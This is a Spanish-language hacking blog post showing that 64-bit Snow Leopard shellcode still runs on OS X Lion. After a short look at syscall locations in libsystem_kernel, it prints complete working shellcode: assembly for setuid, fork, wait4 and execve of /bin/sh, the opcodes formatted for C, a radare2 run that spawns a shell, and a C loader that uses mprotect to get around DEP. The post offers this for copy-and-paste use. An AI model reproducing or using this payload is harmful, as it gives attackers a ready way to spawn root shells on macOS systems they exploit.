Ahora que se ha publicado OSX Lion (10.7) hemos decidido probar nuestras shellcodes preparadas para Snow Leopard en 64bits sin cambiar ni un solo opcode. :-)
El resultado es el esperado, las shellcodes se ejecutan sin problemas (cuidado con el stack-protector)
Pero en el proceso nos hemos encontrado un par de cosas curiosas.
Por un lado ya no es necesario crear un section .data y rellenar unos bytes para saltarnos el dyld y así ejecutar un binario estático sin linkar contra libSystem.B
Esto se debe a una serie de cambios muy profundos en dyld y libSystem.B
Uno de los más apreciables, es que ya no se definen las syscall en libSystem.B
Kana:~ capi_x$ otool -p _write -tVv /usr/lib/libSystem.B.dylib
/usr/lib/libSystem.B.dylib:
(__TEXT,__text) section
Can't find -p symbol: _write
Y si descompilamos toda la lib y buscamos por referencias a “write”…
Kana:~ capi_x$ otool -tVv /usr/lib/libSystem.B.dylib | grep write
R8289209$_write:
00000000000142cf jmp 0x0001441e ; symbol stub for: _write
Ok, tenemos un símbolo definido de write, pero ni rastro de ella, busquemos contra qué está linkada ahora libSystem.B
Kana:~ capi_x$ otool -L /usr/lib/libSystem.B.dylib
/usr/lib/libSystem.B.dylib:
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.0.0)
/usr/lib/system/libcache.dylib (compatibility version 1.0.0, current version 47.0.0)
/usr/lib/system/libcommonCrypto.dylib (compatibility version 1.0.0, current version 55010.0.0)
[...]
He recortado la salida ya que es bastante larga, pero se aprecian muchas (y muy interesantes) nuevas librerías que investigaremos a fondo, de momento nos centraremos en las syscall.
Una de las librerías linkadas es “/usr/lib/system/libsystem_kernel.dylib” que efectivamente, contiene las syscall que estamos buscando. :-)
Kana:~ capi_x$ otool -p _write -tVv /usr/lib/system/libsystem_kernel.dylib | head -6 | tail -3
0000000000017fd4 movl $0x02000004,%eax
0000000000017fd9 movq %rcx,%r10
0000000000017fdc syscall
Como se aprecia, las syscall no han variado, así que nuestras shellcodes para Snow Leopard en 64bits deberían funcionar a la primera.
Kana:~ capi_x$ cat shell64-2.s
mov eax, 0xfa8888a0
add eax, 0x07777777
xor rdi, rdi
syscall # setuid
mov eax, 0xfa88888b
add eax, 0x07777777
syscall # fork
mov eax, 0xfa888a19
add eax, 0x07777777
xor rdx, rdx
xor rsi, rsi
syscall # wait4
mov eax, 0xfa8888c4
add eax, 0x07777777
mov rdi, 0x68732f2f6e69622f
push rsi
push rdi
mov rdi, rsp
syscall # execve
Esta vez veremos un método muy cómodo para tener directamente nuestros opcodes en formato C listos para usar. ¡Copia y pega al poder! :D
Kana:~ capi_x$ rasm2 -f shell64-2.s -b 64 -s intel -C
"xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa"
"x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2"
"x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69"
"x6ex2fx2fx73x68x56x57x48x89xe7x0fx05"
Y para probarla, podemos hacerlo también desde radare2 mediante el combo rasm2/rasc2.
Kana:~ capi_x$ rasm2 -b 64 -s intel -f shell64-2.s
b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05
Kana:~ capi_x$ rasc2 -s "b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05" -X
bash-3.2$
Como podéis ver usando radare2 hacemos nuestra vida un poco mas fácil! ;)
Por otro lado, para probar nuestra shellcode también podeís hacerlo con un programita standalone. Os paso un código C que hace un mprotect ya que OSX en 64bits tiene DEP.
/* NULL free shellcode for OSX 64bits: setuid-fork-wait-execve-binsh
* capi_x (c) <capi_x(AT)haibane.net> <twitter: @capi_x */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <string.h>
char shellcode[] = "xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa"
"x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2"
"x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69"
"x6ex2fx2fx73x68x56x57x48x89xe7x0fx05";
int main() {
char *sc = malloc(4096);
memcpy(sc,shellcode,sizeof(shellcode));
mprotect(sc, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
(*(void (*)()) sc )();
free(sc);
return(0);
}
Happy Hacking!
–
“No user serviceable parts included.”